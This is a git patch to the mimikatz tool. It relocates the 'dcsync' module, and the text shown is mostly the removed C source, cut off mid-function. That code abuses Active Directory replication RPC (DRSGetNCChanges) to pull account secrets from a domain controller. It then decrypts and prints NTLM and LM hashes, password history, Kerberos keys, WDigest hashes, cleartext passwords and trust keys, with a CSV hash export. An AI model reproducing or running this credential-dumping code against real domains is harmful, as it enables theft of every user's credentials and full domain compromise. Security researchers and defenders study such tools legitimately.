From ebcecc3a101f2b775050cf6b0ce04b331a05ea0e Mon Sep 17 00:00:00 2001 From: Benjamin DELPY Date: Mon, 6 Nov 2017 03:37:36 +0100 Subject: [PATCH] [fix #107] remove _vscwprintf dependency with mimilove on Windows 2000 [credits] with his work on AD, Vincent Le Toux (@vletoux) is starring as co-author :) [internal] DRSR RPC [fix] dcsync export as CSV without junk chars between username and NTLM hash --- inc/globals.h | 1 - mimikatz/mimikatz.c | 10 +- mimikatz/mimikatz.vcxproj | 2 + mimikatz/mimikatz.vcxproj.filters | 9 + mimikatz/modules/kuhl_m_lsadump.c | 540 ----------------- mimikatz/modules/kuhl_m_lsadump.h | 33 +- mimikatz/modules/lsadump/kuhl_m_lsadump_dc.c | 572 +++++++++++++++++++ mimikatz/modules/lsadump/kuhl_m_lsadump_dc.h | 47 ++ modules/kull_m_output.c | 9 +- modules/kull_m_output.h | 4 +- modules/kull_m_process.c | 16 + modules/kull_m_process.h | 8 + modules/rpc/kull_m_rpc_drsr.c | 15 +- modules/rpc/kull_m_rpc_ms-drsr.h | 238 +------- modules/rpc/kull_m_rpc_ms-drsr_c.c | 359 ++++++------ 15 files changed, 884 insertions(+), 979 deletions(-) create mode 100644 mimikatz/modules/lsadump/kuhl_m_lsadump_dc.c create mode 100644 mimikatz/modules/lsadump/kuhl_m_lsadump_dc.h diff --git a/inc/globals.h b/inc/globals.h index 306fed576..8198db47c 100644 --- a/inc/globals.h +++ b/inc/globals.h @@ -34,7 +34,6 @@ #define MIMIKATZ_CODENAME L"A La Vie, A L\'Amour" #define MIMIKATZ_FULL MIMIKATZ L" " MIMIKATZ_VERSION L" (" MIMIKATZ_ARCH L") built on " TEXT(__DATE__) L" " TEXT(__TIME__) #define MIMIKATZ_SECOND L"\"" MIMIKATZ_CODENAME L"\"" -#define MIMIKATZ_SPECIAL L" " #define MIMIKATZ_DEFAULT_LOG MIMIKATZ L".log" #define MIMIKATZ_DRIVER L"mimidrv" #define MIMIKATZ_KERBEROS_EXT L"kirbi" diff --git a/mimikatz/mimikatz.c b/mimikatz/mimikatz.c index 2d5d81128..0b1ac03fc 100644 --- a/mimikatz/mimikatz.c +++ b/mimikatz/mimikatz.c @@ -71,11 +71,11 @@ void mimikatz_begin() #endif kprintf(L"\n" L" .#####. " MIMIKATZ_FULL L"\n" - L" .## ^ ##. " MIMIKATZ_SECOND L"\n" - L" ## / \\ ## /* * *\n" - L" ## \\ / ## Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )\n" - L" '## v ##' http://blog.gentilkiwi.com/mimikatz (oe.eo)\n" - L" '#####' " MIMIKATZ_SPECIAL L" with %2u modules * * */\n", ARRAYSIZE(mimikatz_modules)); + L" .## ^ ##. " MIMIKATZ_SECOND L" - (oe.eo)\n" + L" ## / \\ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )\n" + L" ## \\ / ## > http://blog.gentilkiwi.com/mimikatz\n" + L" '## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com )\n" + L" '#####' > http://pingcastle.com / http://mysmartlogon.com ***/\n"); mimikatz_initOrClean(TRUE); } diff --git a/mimikatz/mimikatz.vcxproj b/mimikatz/mimikatz.vcxproj index 2033d14bf..ab8abf217 100644 --- a/mimikatz/mimikatz.vcxproj +++ b/mimikatz/mimikatz.vcxproj @@ -170,6 +170,7 @@ + @@ -256,6 +257,7 @@ + diff --git a/mimikatz/mimikatz.vcxproj.filters b/mimikatz/mimikatz.vcxproj.filters index 9d9481dd4..a9701fdb7 100644 --- a/mimikatz/mimikatz.vcxproj.filters +++ b/mimikatz/mimikatz.vcxproj.filters @@ -236,6 +236,9 @@ local modules\crypto + + local modules\lsadump + @@ -491,6 +494,9 @@ local modules\crypto + + local modules\lsadump + @@ -525,6 +531,9 @@ {de3bf270-ef33-4d83-bec2-77c4450b411a} + + {3b2bcf11-3674-4ee4-949c-491c8c5efd34} + diff --git a/mimikatz/modules/kuhl_m_lsadump.c b/mimikatz/modules/kuhl_m_lsadump.c index cb43f2967..4ce62e2e5 100644 --- a/mimikatz/modules/kuhl_m_lsadump.c +++ b/mimikatz/modules/kuhl_m_lsadump.c @@ -1690,546 +1690,6 @@ NTSTATUS kuhl_m_lsadump_rpdata(int argc, wchar_t * argv[]) } return STATUS_SUCCESS; } -/* This function `dcsync` was co-writed with - Vincent LE TOUX ( vincent.letoux@gmail.com / http://www.mysmartlogon.com ) -*/ -LPCSTR kuhl_m_lsadump_dcsync_oids[] = { - szOID_ANSI_name, - szOID_ANSI_sAMAccountName, szOID_ANSI_userPrincipalName, szOID_ANSI_sAMAccountType, - szOID_ANSI_userAccountControl, szOID_ANSI_accountExpires, szOID_ANSI_pwdLastSet, - szOID_ANSI_objectSid, szOID_ANSI_sIDHistory, - szOID_ANSI_unicodePwd, szOID_ANSI_ntPwdHistory, szOID_ANSI_dBCSPwd, szOID_ANSI_lmPwdHistory, szOID_ANSI_supplementalCredentials, - szOID_ANSI_trustPartner, szOID_ANSI_trustAuthIncoming, szOID_ANSI_trustAuthOutgoing, - szOID_ANSI_currentValue, -}; -LPCSTR kuhl_m_lsadump_dcsync_oids_export[] = { - szOID_ANSI_name, - szOID_ANSI_sAMAccountName, szOID_ANSI_objectSid, - szOID_ANSI_unicodePwd -}; -NTSTATUS kuhl_m_lsadump_dcsync(int argc, wchar_t * argv[]) -{ - LSA_OBJECT_ATTRIBUTES objectAttributes = {0}; - PPOLICY_DNS_DOMAIN_INFO pPolicyDnsDomainInfo = NULL; - RPC_BINDING_HANDLE hBinding; - DRS_HANDLE hDrs = NULL; - DSNAME dsName = {0}; - DRS_MSG_GETCHGREQ getChReq = {0}; - DWORD dwOutVersion = 0, i; - DRS_MSG_GETCHGREPLY getChRep = {0}; - ULONG drsStatus; - LPCWSTR szUser = NULL, szGuid = NULL, szDomain = NULL, szDc = NULL, szService; - LPWSTR szTmpDc = NULL; - DRS_EXTENSIONS_INT DrsExtensionsInt; - BOOL someExport = kull_m_string_args_byName(argc, argv, L"export", NULL, NULL); - BOOL allData = kull_m_string_args_byName(argc, argv, L"all", NULL, NULL); - BOOL csvOutput = kull_m_string_args_byName(argc, argv, L"csv", NULL, NULL); - BOOL moreData = FALSE; - if(!kull_m_string_args_byName(argc, argv, L"domain", &szDomain, NULL)) - if(kull_m_net_getCurrentDomainInfo(&pPolicyDnsDomainInfo)) - szDomain = pPolicyDnsDomainInfo->DnsDomainName.Buffer; - - if(szDomain && wcschr(szDomain, L'.')) - { - kprintf(L"[DC] \'%s\' will be the domain\n", szDomain); - if(!(kull_m_string_args_byName(argc, argv, L"dc", &szDc, NULL) || kull_m_string_args_byName(argc, argv, L"kdc", &szDc, NULL))) - if(kull_m_net_getDC(szDomain, DS_DIRECTORY_SERVICE_REQUIRED, &szTmpDc)) - szDc = szTmpDc; - - if(szDc) - { - kprintf(L"[DC] \'%s\' will be the DC server\n", szDc); - if(allData || kull_m_string_args_byName(argc, argv, L"guid", &szGuid, NULL) || kull_m_string_args_byName(argc, argv, L"user", &szUser, NULL)) - { - if(allData) - kprintf(L"[DC] Exporting domain \'%s\'\n", szDomain); - else if(szGuid) - kprintf(L"[DC] Object with GUID \'%s\'\n", szGuid); - else - kprintf(L"[DC] \'%s\' will be the user account\n", szUser); - - kull_m_string_args_byName(argc, argv, L"altservice", &szService, L"ldap"); - if(kull_m_rpc_createBinding(NULL, L"ncacn_ip_tcp", szDc, NULL, szService, TRUE, (MIMIKATZ_NT_MAJOR_VERSION < 6) ? RPC_C_AUTHN_GSS_KERBEROS : RPC_C_AUTHN_GSS_NEGOTIATE, NULL, RPC_C_IMP_LEVEL_DEFAULT, &hBinding, kull_m_rpc_drsr_RpcSecurityCallback)) - { - if(kull_m_rpc_drsr_getDomainAndUserInfos(&hBinding, szDc, szDomain, &getChReq.V8.uuidDsaObjDest, szUser, szGuid, &dsName.Guid, &DrsExtensionsInt)) - { - if(DrsExtensionsInt.dwReplEpoch) - kprintf(L"[DC] ms-DS-ReplicationEpoch is: %u\n", DrsExtensionsInt.dwReplEpoch); - if(kull_m_rpc_drsr_getDCBind(&hBinding, &getChReq.V8.uuidDsaObjDest, &hDrs, &DrsExtensionsInt)) - { - getChReq.V8.pNC = &dsName; - getChReq.V8.ulFlags = DRS_INIT_SYNC | DRS_WRIT_REP | DRS_NEVER_SYNCED | DRS_FULL_SYNC_NOW | DRS_SYNC_URGENT; - getChReq.V8.cMaxObjects = (allData?1000:1); - getChReq.V8.cMaxBytes = 0x00a00000; // 10M - getChReq.V8.ulExtendedOp = (allData?0:EXOP_REPL_OBJ); - - if(getChReq.V8.pPartialAttrSet = (PARTIAL_ATTR_VECTOR_V1_EXT *) MIDL_user_allocate(sizeof(PARTIAL_ATTR_VECTOR_V1_EXT) + sizeof(ATTRTYP) * ((allData? ARRAYSIZE(kuhl_m_lsadump_dcsync_oids_export) : ARRAYSIZE(kuhl_m_lsadump_dcsync_oids)) - 1))) - { - getChReq.V8.pPartialAttrSet->dwVersion = 1; - getChReq.V8.pPartialAttrSet->dwReserved1 = 0; - if (allData) - { - getChReq.V8.pPartialAttrSet->cAttrs = ARRAYSIZE(kuhl_m_lsadump_dcsync_oids_export); - for(i = 0; i < getChReq.V8.pPartialAttrSet->cAttrs; i++) - kull_m_rpc_drsr_MakeAttid(&getChReq.V8.PrefixTableDest, kuhl_m_lsadump_dcsync_oids_export[i], &getChReq.V8.pPartialAttrSet->rgPartialAttr[i], TRUE); - } - else - { - getChReq.V8.pPartialAttrSet->cAttrs = ARRAYSIZE(kuhl_m_lsadump_dcsync_oids); - for(i = 0; i < getChReq.V8.pPartialAttrSet->cAttrs; i++) - kull_m_rpc_drsr_MakeAttid(&getChReq.V8.PrefixTableDest, kuhl_m_lsadump_dcsync_oids[i], &getChReq.V8.pPartialAttrSet->rgPartialAttr[i], TRUE); - } - RpcTryExcept - { - do - { - drsStatus = IDL_DRSGetNCChanges(hDrs, 8, &getChReq, &dwOutVersion, &getChRep); - if(drsStatus == 0) - { - if(dwOutVersion == 6 && (allData || getChRep.V6.cNumObjects == 1)) - { - if(kull_m_rpc_drsr_ProcessGetNCChangesReply(&getChRep.V6.PrefixTableSrc, getChRep.V6.pObjects)) - { - REPLENTINFLIST* pObject = getChRep.V6.pObjects; - for (i = 0; i < getChRep.V6.cNumObjects; i++) - { - if (csvOutput) - kuhl_m_lsadump_dcsync_descrObject_csv(&getChRep.V6.PrefixTableSrc, &pObject[0].Entinf.AttrBlock); - else - kuhl_m_lsadump_dcsync_descrObject(&getChRep.V6.PrefixTableSrc, &pObject[0].Entinf.AttrBlock, szDomain, someExport); - pObject = pObject->pNextEntInf; - } - } - else - { - PRINT_ERROR(L"kull_m_rpc_drsr_ProcessGetNCChangesReply\n"); - break; - } - if (allData) - { - moreData = getChRep.V6.fMoreData; - RtlCopyMemory(&getChReq.V8.uuidInvocIdSrc, &getChRep.V6.uuidInvocIdSrc, sizeof(UUID)); - RtlCopyMemory(&getChReq.V8.usnvecFrom, &getChRep.V6.usnvecTo, sizeof(USN_VECTOR)); - } - } - else PRINT_ERROR(L"DRSGetNCChanges, invalid dwOutVersion (%u) and/or cNumObjects (%u)\n", dwOutVersion, getChRep.V6.cNumObjects); - kull_m_rpc_drsr_free_DRS_MSG_GETCHGREPLY_data(dwOutVersion, &getChRep); - ZeroMemory(&getChRep, sizeof(DRS_MSG_GETCHGREPLY)); - } - else PRINT_ERROR(L"GetNCChanges: 0x%08x (%u)\n", drsStatus, drsStatus); - } - while(moreData); - IDL_DRSUnbind(&hDrs); - } - RpcExcept(RPC_EXCEPTION) - PRINT_ERROR(L"RPC Exception 0x%08x (%u)\n", RpcExceptionCode(), RpcExceptionCode()); - RpcEndExcept - - kull_m_rpc_drsr_free_SCHEMA_PREFIX_TABLE_data(&getChReq.V8.PrefixTableDest); - MIDL_user_free(getChReq.V8.pPartialAttrSet); - } - } - } - kull_m_rpc_deleteBinding(&hBinding); - } - } - else PRINT_ERROR(L"Missing user or guid argument\n"); - } - else PRINT_ERROR(L"Domain Controller not present\n"); - } - else PRINT_ERROR(L"Domain not present, or doesn\'t look like a FQDN\n"); - - if(szTmpDc) - LocalFree(szTmpDc); - if(pPolicyDnsDomainInfo) - LsaFreeMemory(pPolicyDnsDomainInfo); - - return STATUS_SUCCESS; -} - -BOOL kuhl_m_lsadump_dcsync_decrypt(PBYTE encodedData, DWORD encodedDataSize, DWORD rid, LPCWSTR prefix, BOOL isHistory) -{ - DWORD i; - BOOL status = FALSE; - BYTE data[LM_NTLM_HASH_LENGTH]; - for(i = 0; i < encodedDataSize; i+= LM_NTLM_HASH_LENGTH) - { - status = NT_SUCCESS(RtlDecryptDES2blocks1DWORD(encodedData + i, &rid, data)); - if(status) - { - if(isHistory) - kprintf(L" %s-%2u: ", prefix, i / LM_NTLM_HASH_LENGTH); - else - kprintf(L" Hash %s: ", prefix); - kull_m_string_wprintf_hex(data, LM_NTLM_HASH_LENGTH, 0); - kprintf(L"\n"); - } - else PRINT_ERROR(L"RtlDecryptDES2blocks1DWORD"); - } - return status; -} - -void kuhl_m_lsadump_dcsync_descrObject_csv(SCHEMA_PREFIX_TABLE *prefixTable, ATTRBLOCK *attributes) -{ - DWORD rid = 0; - PVOID samAccountName; - PBYTE unicodePwd; - DWORD unicodePwdSize; - PVOID sid; - BYTE clearHash[LM_NTLM_HASH_LENGTH]; - - if(kull_m_rpc_drsr_findMonoAttr(prefixTable, attributes, szOID_ANSI_sAMAccountName, &samAccountName, NULL) && - kull_m_rpc_drsr_findMonoAttr(prefixTable, attributes, szOID_ANSI_objectSid, &sid, NULL) && - kull_m_rpc_drsr_findMonoAttr(prefixTable, attributes, szOID_ANSI_unicodePwd, &unicodePwd, &unicodePwdSize)) - { - rid = *GetSidSubAuthority(sid, *GetSidSubAuthorityCount(sid) - 1); - kull_m_rpc_drsr_findPrintMonoAttr(NULL, prefixTable, attributes, szOID_ANSI_sAMAccountName, FALSE); - kprintf(L"\t"); - kull_m_rpc_drsr_findPrintMonoAttr(NULL, prefixTable, attributes, szOID_ANSI_unicodePwd, FALSE); - if(NT_SUCCESS(RtlDecryptDES2blocks1DWORD(unicodePwd, &rid, clearHash))) - { - kull_m_string_wprintf_hex(clearHash, LM_NTLM_HASH_LENGTH, 0); - } - else PRINT_ERROR(L"RtlDecryptDES2blocks1DWORD"); - kprintf(L"\n"); - } -} - -void kuhl_m_lsadump_dcsync_descrObject(SCHEMA_PREFIX_TABLE *prefixTable, ATTRBLOCK *attributes, LPCWSTR szSrcDomain, BOOL someExport) -{ - kull_m_rpc_drsr_findPrintMonoAttr(L"\nObject RDN : ", prefixTable, attributes, szOID_ANSI_name, TRUE); - kprintf(L"\n"); - if(kull_m_rpc_drsr_findMonoAttr(prefixTable, attributes, szOID_ANSI_sAMAccountName, NULL, NULL)) - kuhl_m_lsadump_dcsync_descrUser(prefixTable, attributes); - else if(kull_m_rpc_drsr_findMonoAttr(prefixTable, attributes, szOID_ANSI_trustPartner, NULL, NULL)) - kuhl_m_lsadump_dcsync_descrTrust(prefixTable, attributes, szSrcDomain); - else if(kull_m_rpc_drsr_findMonoAttr(prefixTable, attributes, szOID_ANSI_currentValue, NULL, NULL)) - kuhl_m_lsadump_dcsync_descrSecret(prefixTable, attributes, someExport); -} - -const wchar_t * KUHL_M_LSADUMP_UF_FLAG[] = { - L"SCRIPT", L"ACCOUNTDISABLE", L"0x4 ?", L"HOMEDIR_REQUIRED", L"LOCKOUT", L"PASSWD_NOTREQD", L"PASSWD_CANT_CHANGE", L"ENCRYPTED_TEXT_PASSWORD_ALLOWED", - L"TEMP_DUPLICATE_ACCOUNT", L"NORMAL_ACCOUNT", L"0x400 ?", L"INTERDOMAIN_TRUST_ACCOUNT", L"WORKSTATION_TRUST_ACCOUNT", L"SERVER_TRUST_ACCOUNT", L"0x4000 ?", L"0x8000 ?", - L"DONT_EXPIRE_PASSWD", L"MNS_LOGON_ACCOUNT", L"SMARTCARD_REQUIRED", L"TRUSTED_FOR_DELEGATION", L"NOT_DELEGATED", L"USE_DES_KEY_ONLY", L"DONT_REQUIRE_PREAUTH", L"PASSWORD_EXPIRED", - L"TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION", L"NO_AUTH_DATA_REQUIRED", L"PARTIAL_SECRETS_ACCOUNT", L"USE_AES_KEYS", L"0x10000000 ?", L"0x20000000 ?", L"0x40000000 ?", L"0x80000000 ?", -}; - -LPCWSTR kuhl_m_lsadump_samAccountType_toString(DWORD accountType) -{ - LPCWSTR target; - switch(accountType) - { - case SAM_DOMAIN_OBJECT: - target = L"DOMAIN_OBJECT"; - break; - case SAM_GROUP_OBJECT: - target = L"GROUP_OBJECT"; - break; - case SAM_NON_SECURITY_GROUP_OBJECT: - target = L"NON_SECURITY_GROUP_OBJECT"; - break; - case SAM_ALIAS_OBJECT: - target = L"ALIAS_OBJECT"; - break; - case SAM_NON_SECURITY_ALIAS_OBJECT: - target = L"NON_SECURITY_ALIAS_OBJECT"; - break; - case SAM_USER_OBJECT: - target = L"USER_OBJECT"; - break; - case SAM_MACHINE_ACCOUNT: - target = L"MACHINE_ACCOUNT"; - break; - case SAM_TRUST_ACCOUNT: - target = L"TRUST_ACCOUNT"; - break; - case SAM_APP_BASIC_GROUP: - target = L"APP_BASIC_GROUP"; - break; - case SAM_APP_QUERY_GROUP: - target = L"APP_QUERY_GROUP"; - break; - default: - target = L"unknown"; - } - return target; -} - -void kuhl_m_lsadump_dcsync_descrUser(SCHEMA_PREFIX_TABLE *prefixTable, ATTRBLOCK *attributes) -{ - DWORD rid = 0, i; - PBYTE encodedData; - DWORD encodedDataSize; - PVOID data; - ATTRVALBLOCK *sids; - - kprintf(L"** SAM ACCOUNT **\n\n"); - kull_m_rpc_drsr_findPrintMonoAttr(L"SAM Username : ", prefixTable, attributes, szOID_ANSI_sAMAccountName, TRUE); - kull_m_rpc_drsr_findPrintMonoAttr(L"User Principal Name : ", prefixTable, attributes, szOID_ANSI_userPrincipalName, TRUE); - - if(kull_m_rpc_drsr_findMonoAttr(prefixTable, attributes, szOID_ANSI_sAMAccountType, &data, NULL)) - kprintf(L"Account Type : %08x ( %s )\n", *(PDWORD) data, kuhl_m_lsadump_samAccountType_toString(*(PDWORD) data)); - - if(kull_m_rpc_drsr_findMonoAttr(prefixTable, attributes, szOID_ANSI_userAccountControl, &data, NULL)) - { - kprintf(L"User Account Control : %08x ( ", *(PDWORD) data); - for(i = 0; i < min(ARRAYSIZE(KUHL_M_LSADUMP_UF_FLAG), sizeof(DWORD) * 8); i++) - if((1 << i) & *(PDWORD) data) - kprintf(L"%s ", KUHL_M_LSADUMP_UF_FLAG[i]); - kprintf(L")\n"); - } - - if(kull_m_rpc_drsr_findMonoAttr(prefixTable, attributes, szOID_ANSI_accountExpires, &data, NULL)) - { - kprintf(L"Account expiration : "); - kull_m_string_displayLocalFileTime((LPFILETIME) data); - kprintf(L"\n"); - } - - if(kull_m_rpc_drsr_findMonoAttr(prefixTable, attributes, szOID_ANSI_pwdLastSet, &data, NULL)) - { - kprintf(L"Password last change : "); - kull_m_string_displayLocalFileTime((LPFILETIME) data); - kprintf(L"\n"); - } - - if(sids = kull_m_rpc_drsr_findAttr(prefixTable, attributes, szOID_ANSI_sIDHistory)) - { - kprintf(L"SID history:\n"); - for(i = 0; i < sids->valCount; i++) - { - kprintf(L" "); - kull_m_string_displaySID(sids->pAVal[i].pVal); - kprintf(L"\n"); - } - } - - if(kull_m_rpc_drsr_findMonoAttr(prefixTable, attributes, szOID_ANSI_objectSid, &data, NULL)) - { - kprintf(L"Object Security ID : "); - kull_m_string_displaySID(data); - kprintf(L"\n"); - rid = *GetSidSubAuthority(data, *GetSidSubAuthorityCount(data) - 1); - kprintf(L"Object Relative ID : %u\n", rid); - - kprintf(L"\nCredentials:\n"); - if(kull_m_rpc_drsr_findMonoAttr(prefixTable, attributes, szOID_ANSI_unicodePwd, &encodedData, &encodedDataSize)) - kuhl_m_lsadump_dcsync_decrypt(encodedData, encodedDataSize, rid, L"NTLM", FALSE); - if(kull_m_rpc_drsr_findMonoAttr(prefixTable, attributes, szOID_ANSI_ntPwdHistory, &encodedData, &encodedDataSize)) - kuhl_m_lsadump_dcsync_decrypt(encodedData, encodedDataSize, rid, L"ntlm", TRUE); - if(kull_m_rpc_drsr_findMonoAttr(prefixTable, attributes, szOID_ANSI_dBCSPwd, &encodedData, &encodedDataSize)) - kuhl_m_lsadump_dcsync_decrypt(encodedData, encodedDataSize, rid, L"LM ", FALSE); - if(kull_m_rpc_drsr_findMonoAttr(prefixTable, attributes, szOID_ANSI_lmPwdHistory, &encodedData, &encodedDataSize)) - kuhl_m_lsadump_dcsync_decrypt(encodedData, encodedDataSize, rid, L"lm ", TRUE); - } - - if(kull_m_rpc_drsr_findMonoAttr(prefixTable, attributes, szOID_ANSI_supplementalCredentials, &encodedData, &encodedDataSize)) - { - kprintf(L"\nSupplemental Credentials:\n"); - kuhl_m_lsadump_dcsync_descrUserProperties((PUSER_PROPERTIES) encodedData); - } -} - -DECLARE_CONST_UNICODE_STRING(PrimaryCleartext, L"Primary:CLEARTEXT"); -DECLARE_CONST_UNICODE_STRING(PrimaryWDigest, L"Primary:WDigest"); -DECLARE_CONST_UNICODE_STRING(PrimaryKerberos, L"Primary:Kerberos"); -DECLARE_CONST_UNICODE_STRING(PrimaryKerberosNew, L"Primary:Kerberos-Newer-Keys"); -DECLARE_CONST_UNICODE_STRING(PrimaryNtlmStrongNTOWF, L"Primary:NTLM-Strong-NTOWF"); -DECLARE_CONST_UNICODE_STRING(Packages, L"Packages"); -void kuhl_m_lsadump_dcsync_descrUserProperties(PUSER_PROPERTIES properties) -{ - DWORD i, j, k, szData; - PUSER_PROPERTY property; - PBYTE data; - UNICODE_STRING Name; - LPSTR value; - - PWDIGEST_CREDENTIALS pWDigest; - PKERB_STORED_CREDENTIAL pKerb; - PKERB_KEY_DATA pKeyData; - PKERB_STORED_CREDENTIAL_NEW pKerbNew; - PKERB_KEY_DATA_NEW pKeyDataNew; - - if(properties->Length > (FIELD_OFFSET(USER_PROPERTIES, PropertyCount) - FIELD_OFFSET(USER_PROPERTIES, Reserved4))) - { - if((properties->PropertySignature == L'P') && properties->PropertyCount) - { - for(i = 0, property = properties->UserProperties; i < properties->PropertyCount; i++, property = (PUSER_PROPERTY) ((PBYTE) property + FIELD_OFFSET(USER_PROPERTY, PropertyName) + property->NameLength + property->ValueLength)) - { - Name.Length = Name.MaximumLength = property->NameLength; - Name.Buffer = property->PropertyName; - - value = (LPSTR) ((LPCBYTE) property->PropertyName + property->NameLength); - szData = property->ValueLength / 2; - - kprintf(L"* %wZ *\n", &Name); - if(data = (PBYTE) LocalAlloc(LPTR, szData)) - { - for(j = 0; j < szData; j++) - { - sscanf_s(&value[j*2], "%02x", &k); - data[j] = (BYTE) k; - } - - if(RtlEqualUnicodeString(&PrimaryCleartext, &Name, TRUE) || RtlEqualUnicodeString(&Packages, &Name, TRUE)) - { - kprintf(L" %.*s\n", szData / sizeof(wchar_t), (PWSTR) data); - } - else if(RtlEqualUnicodeString(&PrimaryWDigest, &Name, TRUE)) - { - pWDigest = (PWDIGEST_CREDENTIALS) data; - for(j = 0; j < pWDigest->NumberOfHashes; j++) - { - kprintf(L" %02u ", j + 1); - kull_m_string_wprintf_hex(pWDigest->Hash[j], MD5_DIGEST_LENGTH, 0); - kprintf(L"\n"); - } - } - else if(RtlEqualUnicodeString(&PrimaryKerberos, &Name, TRUE)) - { - pKerb = (PKERB_STORED_CREDENTIAL) data; - kprintf(L" Default Salt : %.*s\n", pKerb->DefaultSaltLength / sizeof(wchar_t), (PWSTR) ((PBYTE) pKerb + pKerb->DefaultSaltOffset)); - pKeyData = (PKERB_KEY_DATA) ((PBYTE) pKerb + sizeof(KERB_STORED_CREDENTIAL)); - pKeyData = kuhl_m_lsadump_lsa_keyDataInfo(pKerb, pKeyData, pKerb->CredentialCount, L"Credentials"); - kuhl_m_lsadump_lsa_keyDataInfo(pKerb, pKeyData, pKerb->OldCredentialCount, L"OldCredentials"); - } - else if(RtlEqualUnicodeString(&PrimaryKerberosNew, &Name, TRUE)) - { - pKerbNew = (PKERB_STORED_CREDENTIAL_NEW) data; - kprintf(L" Default Salt : %.*s\n Default Iterations : %u\n", pKerbNew->DefaultSaltLength / sizeof(wchar_t), (PWSTR) ((PBYTE) pKerbNew + pKerbNew->DefaultSaltOffset), pKerbNew->DefaultIterationCount); - pKeyDataNew = (PKERB_KEY_DATA_NEW) ((PBYTE) pKerbNew + sizeof(KERB_STORED_CREDENTIAL_NEW)); - pKeyDataNew = kuhl_m_lsadump_lsa_keyDataNewInfo(pKerbNew, pKeyDataNew, pKerbNew->CredentialCount, L"Credentials"); - pKeyDataNew = kuhl_m_lsadump_lsa_keyDataNewInfo(pKerbNew, pKeyDataNew, pKerbNew->ServiceCredentialCount, L"ServiceCredentials"); - pKeyDataNew = kuhl_m_lsadump_lsa_keyDataNewInfo(pKerbNew, pKeyDataNew, pKerbNew->OldCredentialCount, L"OldCredentials"); - kuhl_m_lsadump_lsa_keyDataNewInfo(pKerbNew, pKeyDataNew, pKerbNew->OlderCredentialCount, L"OlderCredentials"); - } - else if(RtlEqualUnicodeString(&PrimaryNtlmStrongNTOWF, &Name, TRUE)) - { - kprintf(L" Random Value : "); - kull_m_string_wprintf_hex(data, szData, 0); - kprintf(L"\n"); - } - else - { - kprintf(L" Unknown data : "); - kull_m_string_wprintf_hex(data, szData, 1); - kprintf(L"\n"); - } - kprintf(L"\n"); - LocalFree(data); - } - } - } - } -} - -void kuhl_m_lsadump_dcsync_descrTrust(SCHEMA_PREFIX_TABLE *prefixTable, ATTRBLOCK *attributes, LPCWSTR szSrcDomain) -{ - PBYTE encodedData; - DWORD encodedDataSize; - UNICODE_STRING uPartner, uDomain, uUpcasePartner, uUpcaseDomain; - - kprintf(L"** TRUSTED DOMAIN - Antisocial **\n\n"); - - if(kull_m_rpc_drsr_findMonoAttr(prefixTable, attributes, szOID_ANSI_trustPartner, &encodedData, &encodedDataSize)) - { - uPartner.Length = uPartner.MaximumLength = (USHORT) encodedDataSize; - uPartner.Buffer = (PWSTR) encodedData; - kprintf(L"Partner : %wZ\n", &uPartner); - if(NT_SUCCESS(RtlUpcaseUnicodeString(&uUpcasePartner, &uPartner, TRUE))) - { - RtlInitUnicodeString(&uDomain, szSrcDomain); - if(NT_SUCCESS(RtlUpcaseUnicodeString(&uUpcaseDomain, &uDomain, TRUE))) - { - kuhl_m_lsadump_dcsync_descrTrustAuthentication(prefixTable, attributes, &uUpcaseDomain, &uUpcasePartner, TRUE); - kuhl_m_lsadump_dcsync_descrTrustAuthentication(prefixTable, attributes, &uUpcaseDomain, &uUpcasePartner, FALSE); - RtlFreeUnicodeString(&uUpcaseDomain); - } - RtlFreeUnicodeString(&uUpcasePartner); - } - } -} - -void kuhl_m_lsadump_dcsync_descrTrustAuthentication(SCHEMA_PREFIX_TABLE *prefixTable, ATTRBLOCK *attributes, PCUNICODE_STRING domain, PCUNICODE_STRING partner, BOOL isIn) -{ - PBYTE encodedData; - DWORD encodedDataSize; - PNTDS_LSA_AUTH_INFORMATIONS authInfos; - LPCWSTR prefix, prefixOld; - PCUNICODE_STRING from, dest; - - if(kull_m_rpc_drsr_findMonoAttr(prefixTable, attributes, isIn ? szOID_ANSI_trustAuthIncoming : szOID_ANSI_trustAuthOutgoing, &encodedData, &encodedDataSize)) - { - if(isIn) - { - prefix = L" In "; - prefixOld = L" In-1"; - from = domain; - dest = partner; - } - else - { - prefix = L" Out "; - prefixOld = L"Out-1"; - from = partner; - dest = domain; - } - authInfos = (PNTDS_LSA_AUTH_INFORMATIONS) encodedData; - if(authInfos->count) - { - if(authInfos->offsetToAuthenticationInformation) - kuhl_m_lsadump_trust_authinformation(NULL, 0, (PNTDS_LSA_AUTH_INFORMATION) ((PBYTE) authInfos + FIELD_OFFSET(NTDS_LSA_AUTH_INFORMATIONS, count) + authInfos->offsetToAuthenticationInformation), prefix, from, dest); - if(authInfos->offsetToPreviousAuthenticationInformation) - kuhl_m_lsadump_trust_authinformation(NULL, 0, (PNTDS_LSA_AUTH_INFORMATION) ((PBYTE) authInfos + FIELD_OFFSET(NTDS_LSA_AUTH_INFORMATIONS, count) + authInfos->offsetToPreviousAuthenticationInformation), prefixOld, from, dest); - } - } -} - -void kuhl_m_lsadump_dcsync_descrSecret(SCHEMA_PREFIX_TABLE *prefixTable, ATTRBLOCK *attributes, BOOL someExport) -{ - PVOID data; - PWSTR name, ptr; - DWORD size; - USHORT szGuid; - GUID guid; - UNICODE_STRING uGuid; - - if(kull_m_rpc_drsr_findMonoAttr(prefixTable, attributes, szOID_ANSI_name, &data, &size)) - { - if(name = (PWSTR) LocalAlloc(LPTR, size + sizeof(wchar_t))) - { - RtlCopyMemory(name, data, size); - if(kull_m_rpc_drsr_findMonoAttr(prefixTable, attributes, szOID_ANSI_currentValue, &data, &size)) - { - if(name == wcsstr(name, L"BCKUPKEY_")) - { - if(((_wcsicmp(name, L"BCKUPKEY_P Secret") == 0) || (_wcsicmp(name, L"BCKUPKEY_PREFERRED Secret") == 0)) && (size = sizeof(GUID))) - { - kprintf(L"Link to key with GUID: "); - kull_m_string_displayGUID((LPCGUID) data); - kprintf(L" (not an object GUID)\n"); - } - else if(ptr = wcschr(name + 9, L' ')) - { - szGuid = (USHORT) ((ptr - (name + 9)) * sizeof(wchar_t)); - uGuid.Length = uGuid.MaximumLength = szGuid + (2 * sizeof(wchar_t)); - if(uGuid.Buffer = (PWSTR) LocalAlloc(LPTR, uGuid.MaximumLength)) - { - uGuid.Buffer[0] = L'{'; - RtlCopyMemory(uGuid.Buffer + 1, name + 